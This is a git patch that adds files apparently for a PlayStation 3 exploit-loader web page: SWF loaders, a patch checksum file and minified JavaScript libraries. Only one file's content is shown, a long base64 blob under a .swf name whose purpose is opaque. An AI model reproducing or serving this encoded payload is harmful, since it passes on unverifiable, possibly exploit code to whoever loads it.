From cc12f5f8e024f56f0dbbcd4453ce70a5fa855ad4 Mon Sep 17 00:00:00 2001 From: kernaltrap <94473358+JamesIsWack@users.noreply.github.com> Date: Wed, 23 Nov 2022 14:59:44 -0600 Subject: [PATCH] Add files via upload --- files/PS3FP9NC.swf | 1 + files/PS3Loader.swf | 1 + files/nofsm_patch_sha1.sum | 10 ++++++++++ files/xframework.min.js | 1 + js/jquery-1.12.4.min.js | 5 +++++ js/jquery-ui.min.js | 13 +++++++++++++ js/jquery.switchButton.min.js | 30 ++++++++++++++++++++++++++++++ js/js.cookie.min.js | 1 + js/jstree.min.js | 1 + js/logger.min.js | 1 + js/mCustomScrollbar.concat.min.js | 5 +++++ js/toastmessage.min.js | 1 + 12 files changed, 70 insertions(+) create mode 100644 files/PS3FP9NC.swf create mode 100644 files/PS3Loader.swf create mode 100644 files/nofsm_patch_sha1.sum create mode 100644 files/xframework.min.js create mode 100644 js/jquery-1.12.4.min.js create mode 100644 js/jquery-ui.min.js create mode 100644 js/jquery.switchButton.min.js create mode 100644 js/js.cookie.min.js create mode 100644 js/jstree.min.js create mode 100644 js/logger.min.js create mode 100644 js/mCustomScrollbar.concat.min.js create mode 100644 js/toastmessage.min.js diff --git a/files/PS3FP9NC.swf b/files/PS3FP9NC.swf new file mode 100644 index 0000000..efba675 --- /dev/null +++ b/files/PS3FP9NC.swf @@ -0,0 +1 @@ +Nzg4M2ExYzZmMTY2NmE5ZGE0NzE0NDMwODk4MGFlM2RiMDljNGE5ZjNhZWIyMDVlNGM3Mzg1OTFhMDRkNDVlZTYyYjUzZGQxM2JlMGMxZjY4NmQwNzZjZDRmYWQ1N2I1ODk2ZjRjNjhlODk4MGRkMTMyNDliNTExMzc3ZTQzNTljZDM1YTJiYzM5ZmEyNmI2YmFmNzM5NGIyM2Q3NDU4YjhmNjEwMjNjYmZmY2IwNDNjMjJlZDYwYjgwMjYwNDBkNzNjNjIyY2Y1ZTQ3NDgzMzQ0YzdlNjYzMzEwNjQwNWZiOTA2Mjg5MWZhZTZjYzE4NjAzZDhhMjRkYjc5MzM4N2RkZWVmMWY3NmZlOWExMmE2YzVmNjAzZTExY2VhNDBkNDY0MTE5NWE5MWFmNGI3ZmQzNzA4Yjg3NTgzZGRjODQ0YmQ5MDBhNTViMmZkYjMxOTgwN2RhZTBkMzVmNTgyMjhiODYwY2E3ZGJmYTg0MmI5YjQ5YzUxMjBmZWQ3MjQzMTFiZGU1YzE0MWY5ZjI1MGMyMjhlNzdjNzQ3YTdlY2JhMjRlOWM4MTU1YmM5OWRkODYwZDQ5NDYxMmI2ZTBkYTQzNTc1YzBjYTYxZjViNTBlMDRjZWEwOTY1ZWExMzNiM2Q4ZGNmMzBkNDIxNjVhNDAwOTNhNDM4OGQ1ZmMzZDE2ZjYyYmRmNWRlOTM3NGQyMmFhMGM5ZTM4MmIyMWM2OTFlMzIwYzU3NzNiODdmNDI0MjJhOWQ0N2ExMDY4ZjU4ZmU4MGZjZjhhMjY3ZTY0OTAzNmViMmU4YWMxNTgzOWFhYzgzYTQyNzNhZDAwMmRmNjMzYmM0ZDMxYjhiMTBlNGQ1M2NkMTRkNDNiYjYzMjA3YjY2ZjQyNWVhOWQwMGQyMjljMzY3ZWIxODgwMDc5NTY1NGM4OTkzYThjYjQ2MzFhZGIwMDlhZTllOTUwYzI1MGMwNDYxMGZhMzUyNjM1M2JhMzIzNmNjN2YxOTVmYWY1ZGU0NjAxNWZmZjJlMDVlZTQ3N2YwODc5MTQzYjA3ODI2YTM0MzNmNDA5OTdhMDVlNWYyMzdiYmQ2YmJhZDQ0ZDg4YTRiNTMwMWFmZTFjZmYzNTAxNGZiZWFmOGVjZjFlYjE3NWM3OTlmMTQxNTMxNmMyYTEzMjcwY2UyNTYzNjVkMGYzYzhkNWVkOTI2YzhmZGNkNzk5ZjRjODU1OTliYzg1ODQxMGMzMDFkMjcxOTA5ZjMyMTc3YmE0YWFlOTBlNWQ0NWExMzBmNDBlZDAyYmQ0YTg1NTk2NzYxMDY5ZmY1NzhkOTZhODU5MTk4MzYyMGVhY2M4NmE0Y2I4OGFlZDgxMTAzNGIyMTNiYzM0Y2RiYzYxNzQ4ODQ4OGI1Mjg0N2JhOWZmMjA2M2M2MTFiMjA4NGUyOWYwNzI4ZjU5OGMzNWI1MDU5ZjI2NzJhYjZkN2NkN2NjZDM2OGEyM2I5Mzg0ZmY4NGQ0Nzg4Yjg1NGY0NWRmNTA5YjhhNGRiYWE1ZmFjM2E2OTdlMzlkNDA0ZDE1MDRhN2Y5MWZmNWUzYWIwNTc0MWYyMzZhMTVjMTkyNmU0MzRkNjkzYzJjYTUwOWFiNDIwNThjNmY0NzM5N2RkNTZjNmIyYzkzZDJjNzczMDJkYjdiNGE0YTE4MzA0ZDYyNzA2Y2UyOGFjYjUwZTZjOTZmYjg3MDZmMWZkMTQ4OGViM2IyNjQ5MjYwYjY5MTE0MWRjZDdlYmNlZjA5NGI2ZGQ2ZTM0YmY5MWQ2NmYxMTBkY2Q2ZjlkYTEyNGQ4ZTc2MzUyM2FmNzQ2OGQ5MDE3ZjU5OGY4ZTRlYzlkMTVlZjhkZDAyNzc0YTM1OGE0NGVmYTUyN2E2ZTM4ODUxMGE2M2YyZDc3YzVjYzY1YmVkNGU4ODI3NDRlNTVjODg1NGE5ZTE0ZTJkMDk1Y2NhY2VlMzcxNjc2YTBkNzZkMzEwMjM4ZmRlYWQ4Mzc1MzM2YmVmMjNjYjYzOTA4ZGM5Yjg0ODEzZjBjNWVjNTUzNjQ3NTBhZDFkYzNlNGY4MDE5ZTYyZDMzYTM0MzhkOWI1YzkwZTQ3MjJlYzc5MjU4YWM3NDFlMWMxMDBjYjc3MjlkOGNjZTA5Y2JlNmVkNmFjZDY1MmYwZjVhYTBiNjYyNzY3MDY1MTAwOWEyNDcyMjJkMGUzZjY1NjMwOGNkMmI3NDcyNTJmMDVkMDBmNzM3ZGQ4MWY5OTY5NTA0MzI5MzUzMzBlNjAzYmMyNGVlYzE2OTcxN2ZlNTU1YWUyMGQyODU3YzcxMjNkMzY1OWQwMGFlZTk5ZGRhMDcwN2U3OGZkOTc0OTM0NGU4N2FiMjBlOGY3YTEyYmM1ZDQ5NTkwMmM1NTQzM2NmM2UwNWY2OGU3ZTNiYzY1YTMxMzNhNmI2YmZmYjdkNDVmN2M1NzFhOTk1NzJiZTE2OGRhNDEwNWE3MDE0ODY4NWI1OTY1MWU5ZmFlZDg5ZmE2ZTEyY2MyZWFkMTZjNmM0MGJlN2JkZjhkNWQ0NDU2NzZjYmY4YjA3OTc5ZmQzMmZiOGUyZWNlZmU5N2EwYWQ5M2Q4ZjcwNGJiMDYyM2NlYTYxM2E1ZmJiYTQwYThhNzEyZGMzMWE2YzQ2OTJhYWIwODA3NDkyZTI5ZjFjZTZlNTAyMzJhY2EyMGIzOTk3ZGEyMDE0YjU3MWIzNWJhMjdlYzE1ZTI5NzM5MmUyNDZiYWE0YzI1YjRhODUzY2UwM2UzNzU5OTNlZmE3NTA1NjYwMzM0Y2YzN2E0YTk5MDBiMGNiYmIzYWYxYTliY2M1OGJiZDUxYmI5NzExN2FmZTBjOTg2NjY2MmU4YTk2ZmJiZjAzN2UxMzg3YzY2Zjg3NzRlMTg1NDEyYmVkZDIyODU3MWY0MzIyNGQ4NDcyYmQ5ZmMwZGUxY2Y0YzA1MDBhYjU0N2VkMDY1ZTRhNTViZTlmMTFkNzYyNWEwM2EyYWQxMDA5NWViMTA3NWE1ZGYxMWRjMmQyNTBjZGU5YjA4ZWJiNzlhNTFiOWNiMGEwMDZiMmY3ZDA2MDdhNWNmOGNkOTU1ZGZlZDA4NzdhNjM3ZjNiNDcwNDZlMTA5Zjg3YTBhNTI1MTNlYmRiODg3MmZjZGI5ZmU5OTY3YjFjODI4YmExZGI1ODFhOTQ3NGFkMTc3NzZiYmU5MDExNGRhZTgyMzdmMmZmNmE0MzdiYTYxZDQxZDBmYzAyMzM1MTIzNTIyMzM5OGE1NTAxZjdmZTdkNjhjYzI3YWQ1ZmY2OTU0MjJkZjlkMGMzYjgzZjFmMTYwZWEyZmMxZDczYjk2MjAxODIxYzE3OTMxMjU3ZjRiNjFlOWY1OThlMjM5YWExY2UxNTRmNWIzMzNlMjhhYzI3NmMzMTkxNGQ5OGIxNjAyZGI5YzY2NjBjYjk1ZGU4ZThjNDhmNmUyOWIwZjRkZWI1NDVlNjM0NmE4ZmU5MGNiOWMyOTdiOWVkOGRlMThlN2U2ZTJlNWU0YzhlYWM3ZGUzMGM0NGRiYjIyNDNjZDJhZGFlMmNmOTFlNjlkZDQxYmQ4YzA3M2JhYjg3ZjM0NTYzZTg1YWQwODdkMWM4YjZmMGI5OWE0OTVhN2U2MzQ0NGMzOWUzOTQyMDQ3NTYwYzc2OTQ0OWU2Y2RlODE0OGUxOTQxNGQyNmE2M2NlZWIyNmFkMjY2NjQ0YjExYmJhMTk4M2Y4YWY4N2MxNDg5ZjVjOTdkM2Q5YTFmZGJhZGZhNmRkOGM0Njg4ZDcxMWNkNzg1NDNlMzMyOGFhMjRjOThhZjY3MjhjYWZjNGM3OWYzNGMzNDljMGRjNWI1MDBjMTEzZjU1NmIzMGFkOTk3MjA1YzQ2ZDlmOWNhZjIyYWIzMTMxNjY2ZmE4NWVhOTYwZjMzMWVjOGI0YmZiZWRlY2FkNDk5NjczYTUzOTU1YzAzZGEwMTZhMTFiM2JiNjY4NmM5ZjZhZGFkYzA5YjA3OTAwMzg5MzM5OTJjOTAwNmFmNjhlNjFmYzMyODE2NmYxMDMxNDM1MTZlZWQxYjVmZTE0ODc5ODA2YWIzMTVlYTRjMmJiYTFhZTgxYTQ2NTdjYThiM2Q1MmVmNmE2MDJlZGM1NWY2MjQ5NDFkMzRkZjRmY2FjNGQzNWMyZTMzYmE1ZGIxODYwYTFjNjY4MTIxZDQyNzY1YWI1YTk3ZGUzZGJjODZhNGI5Y2U3OTliMzRjZTQ2YzJhZGYwMjRkNDliMjUwZmIxMWM1MTc0NGQzNDg1OTAwZmUxODQyMTg0YjY0ZDVlYjNhOTk3ZmY0OGExMDQ2NWFjNDI0YWI3MzFiMTc0MzcyZjQ0MmJlNGI2MzM4ZDhiNzg0YzMxZTZiNzQwYWVmZjc2ODk2YWYzMjIwYjM2MjY4Yjc0MzZmZGMwZTMzMWY1ODdlYzFiYzdiYWVlYzlkMTQyYWQ0OGRiOTVjNThkMDMxYWExYjBhMTA4NjYxN2QzNmRmYWIxZjRjMDUwNDFkNDY4ZmVkOTA2NWExODM1OTM2NDRiYjc4MTY0NmMxMmJjNDZmMmJiOGVlZWNhZDhjMzE5NmIwODBlNTUzNGNkMzM1NTVkYjNkNzkyNGFhYjg0ZDMzMDg0MzExODRlMzFmN2FjZjM2M2M0MWM0MjMxZDUyYTZiZmM3YWE1YTZjMTIyNTUyNjkwMDc1Yzk5N2Q2YTdjYmNjYjQyYzRlMzUzN2FmZjk3OGVjODMxY2Q5NzRhNDAzOTRlNDk0NDVmMWY4MTdlZGVkYTlmYTVlNDUzZTg3Nzg3MmZhYmQ5ZWRiMWMxMmNhMTk1YjA0MzExY2FjYjM5OWIzYTk1YWU3ZTZlNmE2NjNjMGM3ZDNkNzU4NDA1NDhhMDUxNWQ2NDU4ZGEyZDY1YzEzZmMyNDJkN2Y4Y2IzYTdjMzViYzVkZjcyMzliM2EyYzIwZDc4ZDgyMTQ5NjA2MDY3NzliNjg5MmNhM2UwYTJkNjcyYTBhYWU2ZDdkM2Y5MzI0NGZlNDg2ZThlM2E1MjYyMzUzM2NiOWExNmM4YmYwMDZlZGM0ZWE0Y2UyMmQzZjk3MDA5ODdjZTg0OTNkNTlkYzc4MGUwNzFjNGE0ZDUwMTIwYzdhMjVlYzZhNmMyMGIwN2ZhYWRkOGNiNWM3NWFkNzQxN2Q2YzU4ZGM2NzgyMThkZGFkNWY0Yjg5MTQyNzIzNTAwYTg5MjQ5MDM1MzhmZTUwYzU4ODAwMTI3NWRjMjhhZDhjMGMzYWVjMzBmYmIxYTBkYmM5MTViMTNkZDgzM2I5MDFhMDM3YjM3NGU0MTBkOTM0ZDUzYTEyZTNhMjM3OTk3YTNjNDRhMTlhMDM4NmQ1NDQ3NGMyNGY5NDFkOTBhZDdjYWU5ODM5OThlMjc2NGEyMmNjZDNkOTcxMWI4Y2YxNjBkNTJlOTYxNzViOTJlNTllNGVlMGVjNDE2OGI2NWI2NzJjZmNlNzIwOTZmZWE5NjZkYzRlNTk1ZTFmYzQ2YjA0ZmRjOGJhMzNiMjgyMzYwYjcxNzA3ZmIzMDEzNzQ4ODAyZDk3YjdmZDI4OGE4MWEyNjE4YWEwMTUzYzNiMTE1MzI1Y2UwYTdkMWU5YWIxMTQzOTcxMTdkNjNiMWM1ZWQ0MDBmZGQ4NGY0ZTI2YzQ0MTA5NzYxMWFlMWI0ZDdlMTkzYWQ4ZmJlMThjYjI4NWRjN2Y0YTM3NDEzNWY5MDdhNTY2MjJkNDE5NzAyNWZkYTFmOWMwOGJlY2FmOGE0ZGE3OGJkOTcxOWNkYzM0NWE5NWE5MmYyZjE2NzNjYTU1NmJmN2IzODUzOGRhODhjMTQyMjUzYzRiMmMyYzcyZjZmZGI2NDFhOWI3ZjBlN2ZkZTJjZmY2MzE4NmE3MzZhOWVlOGM2OTE5N2U0ZTcyYjViMTQzZjE4OGQ4OTBkM2ZiY2E2NGE0MjBkZTc0MmM1OGY5NWI0YTU0YzI5ZjYxMTA0N2NkYjZjMDlkNTNjY2MzYzAxMDg4ZmYzYzRmNjZiOTY2MzVhN2MzNmMyZTEwZmVmN2MyYmUxNGRjYjRjZWZmNTIxMmI2MzE5MWE1ZDQwZDUxODc4MWFhNjNjOGVkNjU2YTBlNDEwNzNjZTRjZTY2NTZjZWFkYTk2YTY0YTE2NjAyZDVlNTdmMmUyZTBhYWIwZGZkOTNjZGY3Y2U3YmU2ZTI1NGY2ZDI0NGU4MDA2ZDcxYTVhMGRmMDhkYmEzMjUwNzEwNjBjMTY4NjJlNDQ2YTIzNmI4NDRjZjA1ZmE2Nzc4ZTI0ZDRiODkyZGMzZjU3Njc0YjdjZmJkODZiYzUxMGIzNGUyMTI3N2Y3NjVmODAxOWJlMDc5OTNmNzNmYjdiY2YzM2I3MDM5NzQyMTRiZjk4ZjRmOWQyMDlmYWE3M2M4YmE2NjVhMjFiZmY4MGQ2NmRiY2Y3NWIzZjI2ZTIwYWY1YmFiMTcxNDcyYjU1OGViYjAyMGJjZmU1OTJmMzk4ODRmYTkzN2I3N2ZlOGQ2Mjg4NGM1Y2UzMTk3MGJiNjg1MGY0MWE4ZWE3ZDJkYjBiNzlmYzY5MjQzN2YyMjg2NWNmYzZjNWM0MWViOTJlODM5ZmJhMzcwMzQyNjA4YjU1YTRmY2U3ZmIzZDE5NjI1NWZjODI4MjBjODEzNmJkMWE1ZTdjZDU5NzZmMGVmYTkwNDRlM2FhNDJjYjcxMjY5MWNmNTVlYTg1MjM3NzI3YjQxNzI5OGM2YzUyOGJiMDc4ZDM3YmJkNjk1MzAyNmQwYWQ3OTAyOWJjYTkyMThjZTYxYTFhZDQ1ZDMyNzVmOTEwMzNkODE4NmMxZjEzNjg2NmZlMWQ4Njk3ZDJmYjA1ZWZjMzFjODllOWQ1OTZiOTVhZjcxNDU0ODU5YWRmZjE4YjZkOWNmODU0YjFjNGUyMTllOGExZWJjMDg5MTQ3NDU3MTI4MTgxNTM3NDY3NmQ0ZWFhODAyODJiNTA0YjYzM2FkY2I1ZjY4YzYwYjViYTM4ODViYzU1ODdlMmNjYjMxNDg2MjM5MGQ2ZWJmNjMyOGI1NzI4MzM2NjdlYWJjNTQyOWVlOThlY2NjNTFlZTkwZmJiY2M1ZWY2MTNlZDhlYTgyZjQwZGUwYjQyNWJkMzk5MDJlNWU0NGQ2Nzg2ZDkzOTk5ZmY5NjFlYjIyNWVlNzI5Yzc1NjkwOWE2NTM1MWZkZjk5MjY4MTMyOTg2ZjEwODEwNDRiMzM1ZGIzOTdlODJiNmZlMzQ5ZjM5ZTliNGMwZTUwN2EzMzQ1NjVmMjA1YTA1ODllNWQwZDVkN2JhYTUwMWQ2ZWI4MDI5ZDRhMWIwNTg3YTcwY2UzZTdlOGM5M2Y2MTNmNTQ5YjgwMTFlMGE2ZGNhNzI1YWUzYzkxNjA1ZWQ5N2UwYjZiMDBiYmQwMDczYzY0ZjdlMmM4ZjVjMDMyNzkxMmUwN2U2M2MwY2MxY2EyODYzZGUzNDBjYjI4MjIwODlkYzIxODliNjI0MGZjNjIyN2E1ZjdlMTQ3OGQ0YmZkMjRhZTkyNzBmYjQzOTg3MWUyY2I1NzMzNDAzMDAxNmRhN2I3OTY5NzYyMzRmMjNjMjYwYWQ4ZmY3NTBiNjIxN2JiYWJiOWQ2ZGI4YzMwNzAwN2RmMTZhMmE4NWU1ZWEyODkzNjFlNzAyYjA0N2U0Njc3NGNkMmIyNGM5MmMyMWNiNTJjOTM3NzM4NmQ4MjVkYzgzOWQwNTUwOWZhNDY5Yzg0YjFhOWE2OTcyZTAwY2EzOTk1ODU1NzEzODg5MjRjODFmYmRiNDNmZjhlMDMxOWU1ODFmOTQ1YjRkNTYyOWUzOGUzM2QxZDgzYjEwZmE1N2E0ZjdkNzg2NjIzOTY2YjRjOTE1NmIzOGI2NDFkZjkxYWNjZjA2NjFiZDBlZDU3YjU4NTAxZjQ5MTE0MzM1NjY4YjA3OWE4YmI3NmU4OTcyYWRiNGEyMmU3ZDRmOTIwOTdlMjRkNDJlYzlhMjgzZTc3NmY5ZWY2OWNjZWRlYjhkYjYxZjYxNjQxYzc4MWQ4NDg5NzUzOTc2NGUwYzgxODQ3ZDhmZTdhMGRlZDEzMDA0YjllYjlkMDYyYThhZWVhYWVkOTc5NWUyZmQ3Y2QwMDEyMmUxYjI3ZThkMzNiMWM2MDQzMGY3MzU4Nzc4MGFiMzI4ODg1NGUxMzE4YjdmNDA3MjAyYmI2MjczMTg1MDUyYmNlOGUyNmFlOWE4YjljMjkyM2EwY2U4MjVjODZlNWQwZjQ1MzFmOTk5NzI0YTExY2U4NDNjYjczNmZiZTIyMTFhZmNmZTI3MmNiNjZjZmNmYzE1ZDZkYWVkZGJkYTI0YjdkMzlkODAzOWQ4YjNiNzFlODcwN2U2YWZkOTRhOTUzMTVmZDdjYjNlOTZmNDAyZGUzM2RhN2YwYzhmOGIyYzE3MDhmZGI4MjQyOGU1ZTEzZWJhMDY4MWRkOGNiMGNhNjJlZTJmMjk2MjA3NzY3M2I5NDBjNzVmYWI3MTI4YTAwMThiZDczZjhmNzg0NjU5NDdhNjJjYWU3NWU5ZWMyOTZiM2MxOWFmN2Q2MmU3NmUzY2ZjMGY3OTlkMDk4NmEwMmQ4ODcyZTBmOTQ4NTUxODg4NzVkNTY0N2RkMWE0ZDlhYTA3MWYwMjM2OTE1ZmY0YjYwMjVjY2NlZGU1M2Y2MzdhYzdhODYxYzE4OTJiYzQ2NDg3M2RhNTY3NWJkOGNkMDY5NTgwZjZhNDNhMDZiMTFiN2IxMDcyMmQwNTk3ZWUzYWJkNDg1OGFkM2FkZmRmODdmZGI5NzM2NjY5OGU3ZTFmMzI5Y2IwODY3N2MwY2RjMmYxOGNlZmQxNTM1OWUzMzYwMjNmMzJjMDczZWM3Y2ZlYmMwODVlNzc2ZWRkMTMwZGEwNGMzNmMzN2IzMzE4ZTQxMjcwZmMxMzE1MTI0Mzc1YWUyODIxOTZmN2QwZTNiODc3NDA2ZWIwZmZkYWM2ZjIzYWIzMDVmYjAwYWQ3NjQwMDYwZGM4ZTkxYmMwMjU5NjRjZmZlNjhmNDhiNmZiY2ZhOWRhYmNhNTkwMGE5YmVjYWMxMjEwMGRmNzRhYzQ5ZjIyZTkwZmJkY2IzOWEwODM0M2NjZGZhMDk5YWI4NWFkMTZmZTIxYmVlMTBkMTU4ZWE2Mzk4MWEwMzYxM2Y2MjZhYjViMDRkMzEzMGJkNjc0Mzg4NTkwNDRmYzU5ZGM3YzMxZDMxMmUwOWQwZGQ5MjY1MmZiNjQ5OTI3OTJiYmIwMjA3MzZkNDMwOGFhN2I1YTY0NGEwNDFhOWM3OWQyMWU2ZGUyYWE4MDE1NzczMzI0Mjg5Y2RiNmQ5OThjMDc3NGNhYzNmZjZiZjM1NTQwOWY4Y2VhNzRlODcxZTgxN2Q1M2VhYmE4YjE0NTFjYmUzZmYyZWMxMzY0ZWU4OWJlOGVlOWIwZDY3ODk4NDY0ZDdlYmNjMTJhYjVlOTMyZGIwMzc1NWFjYjQwZTFiYzU4NWVhMTkyMDEzMmZhMWMyODBjMzU0N2UzYjIzMWJlMmVhOTg5ZGFkZGE3NzgyMjI1YWRiYjYwYjVlYTRhYTUxODE4OTQ4NzlkNTU1MTBjZjUyYmQ1ZDIzMWJhY2U5NDkwZTVjNWRiNDNhM2M4ZjBlMjEwNTY4MDJiZjQ2ZmE4ODZhNzYyY2UwOWI4OTc3MzQ3YzFlNDU4OGRmNzQxNjllNDcwYTNmNzVmYjRkMGEzNWYwMTE1ZjNmMTUyZTQwMWFmNDU5YWM4ZjVmNTdmZjczMDFjOTIzOTEyNDMwYTNiZDhiMjNkMzZkYmY2NmYyY2NhMWUwZmJmNGY0MThlMmMwYzcwY2E3M2EzNWFiZGY1MGI0ODE2NTA0ZDVlZTlkMjc0MjZjMjA5MTMzZWZmYzk5YjM3MjQyNGJhZGM2MmZiOGYyYjBlZWM5ZjljZjY5YjU1MzY2MTE0NGQ0ODUxYTBhOGU4YzExOTZmMGQ0MzdmMGY4YjBlODVjODEyMTJhYzdjZGQxYzZiYzhiOGJmZWFmNzVjNDE4OTJlOTE5YjBmNGIxODQ0NjMzMWEwNTAzOGVmYTg5NGMwZTE3MGM1YjA2MjVlYTBlNWYyMTUyYTI2M2E0MzA2ODJkOWNlZDcwM2U2MjFhNTUwMGNmYWEyNzgyMDBhNGRmMzAwZTFkOGViZDZiNDg2YTM5NjZhODExZWViMDlkMTA3MDgzNjM4ZTVhZjQwMDhhZDRiZWE1ZWUwYWVjNjdkMzRhNDE1NTEzMzdjMjk4ZDA4YmJkNjA3MjY3ZmRmY2RhNzVlZTI1NDAxNDE0YzliZTkyY2RlNGY5NTA5MTBlOWY1YmQwYWYzMGZlN2JlZTZlZjJkYTgwNzdhMDQ3ZWE3YjllMzEyOTRjOTgyNWU1NTlmOWI1NzljNjQzNDI5NmZlYTY0YWMyN2FlODVlNmMzNzc4YTJhM2Q4MDc4OGU1MjM0MDA5ZGJhNzNiOWRjZWJlMzliODhkMjU1M2Y0MjFhZWU0MmMxODU4ZmZlNmMxMDJlYmE5ZDQ5MDAwMTZlZjkzZTQ0YzViNjc1Njg4NmU1NjE0Mzc2MzczODBhMjhjM2Q0M2I1YjQ0MTFkNmFlZTk1M2U3NzhmYTNjMTE5NWQ4Y2Q2NzM3NTRjYjc5MTRkMDkxNDk2NzFlM2RlYTRiMWRkODRiNWRlMGE2NzRiNjZmOTM0MmVjNzcxZWI1ZjA3NjdlYmM1OGQ1ZjJhZjQ0ZTAzOTBjM2RmMTNmZDMzMmEzOTFjNmYwNTNmNzYxNmMyOTQ1OWUwMWI3N2JkNzEyOGZlYmY0YWZmODQ4MWRhYjAyMjY5YzU3OWZmNmUxZWU5NjQzOGI1N2M5YzAyOTNmMjgxNTQ0NTM3MDFkMDJmZDBkZTEyZTFiMTI5YTU3MzgxYWMyZmU5M2FlNDY2YTU5ZWU3ZDEzZmQ5NTI4YzQ0YjU1NGIzODIyOGQyMzRlMDEyZDUwZjMwZjAyZjBmYjMyY2UxNDcwZjhhODI0YWMzYTE1OWE0NDg4OThlN2I3ZTAzNDgzODZlMjEzOGMyMzRkODVlZmQ5NDlkZGE3ZjI2MGQ4MTk5YzZiNWI3YTgzNGUxNDQ3NDRhNTgwM2Y4YmRmOTZkZWE3NjZjZmJmYmRkNTE4ODk1NjQ2NDcxZTAxZDk2YzZhMTkwNWU2NDhhYzE5Y2JjOWMwYWUwYTRiZWQ4M2QxYWUwYTc2MmVjYmQ4NTRiYzRmYzQyNGNjNGQxYzdhM2M3MGVjMmQ3MTBmMTU3NDFiMzdjYTU4N2M4OTkyNzNkMWJhMzZkMzBjZWU1ODJjOWY4MzRhYmEwY2ZjNjUwYTgzNmE5MjkzZmEzMzUwZThmZTI2Nzk5ZWNjNTc4MjgxNjFlOWQzYzZjYjRiZjNlNjRlYjBlNGU2Y2IxNDVjNTcwOTRhMGEzNDU0M2IzZTY0NjFmYjE2YjU2YjJhMDI4NzYwNzMzYzJjODEwNTdkMjlmOTE2MTI2NTk1ZGI5ZWE5YjBiNTdiYTU5YTkzZTk1M2VkOGFlNmFiYzg1NGY3NWI0ZDMwNDFmZWY0ZmRjN2IwNzY2NDRmZjk5MDE4NmI3ODJkYWI3MzZjNmIyYjQ0NmVhODM0ZWMyZmVjOWRlNzI1MTJhNTAxMzhiMzZkZTA4YjM5MDNjMzViYjI4NDViYTI2MjI0ZjEyNjVmMGYxYTFmMmI4MTU3ODUxN2M1OWFiNmVkZWMyNjRiN2RjNzk0MjI3ZThjYzFlNDY2OTUwYzhkNzI4YzE4ODA0Y2FhNDNjNTI1YWI4NWQ1OTRhZTM0MjY3NTE4N2U2MjI4N2QzNmQwOGU4M2ZjZjRlZmM5YTE3ZWM4N2ZkZDhkOWYzMGI5NTAzN2M3NmYxNjMyYzAzYzQyOTc5MzhhMTcwZWVmODlhMDg4NTY4ZTNmY2EwM2Q4NTZhNzVlNTE4NWFhZDAxYWI2Yjg2OWY4MGYzMDBkNTliZGU2MGE1NjIwY2RiMWI0M2ZjZDUxMzRmOGMwYzIwZmJkM2U3MWQwMDc2YzExNjQwNWY4ZmIxN2RmODdlMGRmZDFlZTRkY2U2NGE4MWJlZjczMDM1NjM0ZDM4NmE0NGNmZTVjZWU0ZDkyYTQxODNkNmVmMGNjYjFiYTIyMjM1OTVkMGIwNjBhNzQwOWE0MTZhNTY1ZDIzN2RjZmE2NWM3YjUyZGI5NWMzODRhNDZhMzI3ZjRmOGQ2ZmEwNjAyMzI2ZmVjOWMxYzYyZDE4YzM0MjcxNzc1YTRhOGI4N2VjNzc5NWUyNzY4MGY4MDQ3ZmNjNTNjMTM2MGQzMjVkOTBjYTIzYjNhYjc3ZDEyMDE2MjVkOWEyMjU0MDFlODllZDVhZDc1ZjUxNjdlMzJlYTFlNmI4MzdjNjgxMTUyMGM0NmNhMmNjZWFmMDg0ZjY2OTExNzZjZDNhZDdiYjI3ODk1MzllNDM4YjQ2NmI1N2M5ZWQxMWEzNjU1NjMyNGJhNWM1NTc0YzJiYzU5YjE3YWQzYzExYmFjMDVlYTFjYjAxYzE1MWI4NjM0Y2RiZDMxODU3N2U5Y2UyZDEzMDYxZmQwMzgzY2M5ZmVlOWM0Yzg3N2UwYWRlMzg2YTQ4NzczMGU0NDcyY2RlOWI0MjY4MzhmZDQ3YjY0MGVlMDkzNmVkODgxNzA3NWEzYzkwODViZTQyOGMwYzFmZTkzZjE5N2EyNGUyODYwZmJlMGZmMGExODU0NjNiM2JiNTdiZjVlNjgzYzBkM2JjN2IxNzAyN2NiNTI0YWMzYjQ2NzI4NzljZjU3OTNlNDUyMTYxOWU2NWVlODk0NWZjN2RiYzYzMmYwMTM5YjQ1MTExM2QxMGYzZTFiOGRlM2EwNTRmMTgxMzcxYzI4YTg5NjQ5ZDFlMWViYTM5NTQ2YzE5ZmZkYzE1NmRhZDVmYTViNTU4MzcyZjU1Y2RhY2ZhYWY1YWI4ODJjNjg4MDY4YjhlN2MxODVmMzU2M2FmMjAyN2FmMmEzODMwODlhMDRhMmIxZTAxOWVmNGQ2Y2NkYjliODcyOGVkYjk1Njk0NWRlNzMxZTdhY2I2NjQwNmYyYmJjNmNlNGMzOTg5ZDJmODA2YzFlM2ZmOTQwODFmOTQ1NmYyNzE0MTcwYThlMmI1YzQ1YzZhMDRjM2MyMDNkMDE2NTlkY2E1YTYxZDA0NjY5NGNmODRiZjgzMTFiNmE5OTcxYzhhZTdiM2JkNjE2YTkzZTBjODEyNDY0YjAxMTUzYzEwNmI2ZjRkOWIzMDNmOGEyZmJlM2Y4MGFiMWQ2MmFmMjE1OWU5YTE5MTc5MzViMTUzMTNiYTgzYzZiNWIwOTU3ZTU3N2UxYTZjMDQ5MzE3MDZmZDJkMGQ2NGE0Y2ZjMDk5OWEyMzVkMzc0NWFkMzUxMDg0OTk3OTgyZTIzOTMyN2I2MzYxNGExYzAxOGNlMjlkNjgxMTkzZmUzY2ViNjQ4ZGE0NjAzOWM2ODk1NzRmZDU1NzkyMDAzYzE2OGZlZDdkMjMxYmRhYmVjNWYwYmYzMDQ4ZTY4YWVmZTU4YTlmNjVhNjFmODZhOGRjNzBlZTcxZWEyNDY0YzEyMzY4MTY2NTg5ZjliNGMxNWNkMTUwMGZmYjQ0ZjUzMzNjMzVkODMyMDU0MDU0NmMwMDFjZTkyYjY0ZWJjNTk4MmU5ZTFjOTVkZGZkYzg5ZTFhNzg1ODY0NGZiMjk0YTQ1Zjc5MmZiNjM0MjU4NTRmNTIwNmMwNzJhYjI3MmVhZjEzYWMyZGU1ODFkNTgzZDY1YzI1M2Y5ZTg3OTU4MWFmOTM2MmVmYmVjYzNlMWI0MzA1MmZkZTgzYWEyYWIyZDZlMjY3MDMyZDE5M2YzOTZlNGM0Zjk2ZjdjNGQxNGE1MjhiNmMzMDI2OGRhZTA5OTAwNDIyMzBhZjRlNGI2Y2I0MjA0NDMxYmFmNmFiY2ZkYjlmNzNmNTFiYTUxMGRkYzQzMGQwMDUxOTYyNjk2NGVlNjIzMDZmMjU0NjhmNjU0MDkxMjM0OGNlZWQ5Yzk5NWUwZjZiYzk4OTI5Y2RjODk2OGJjZDRiYWY2NDI4NzVjNWY1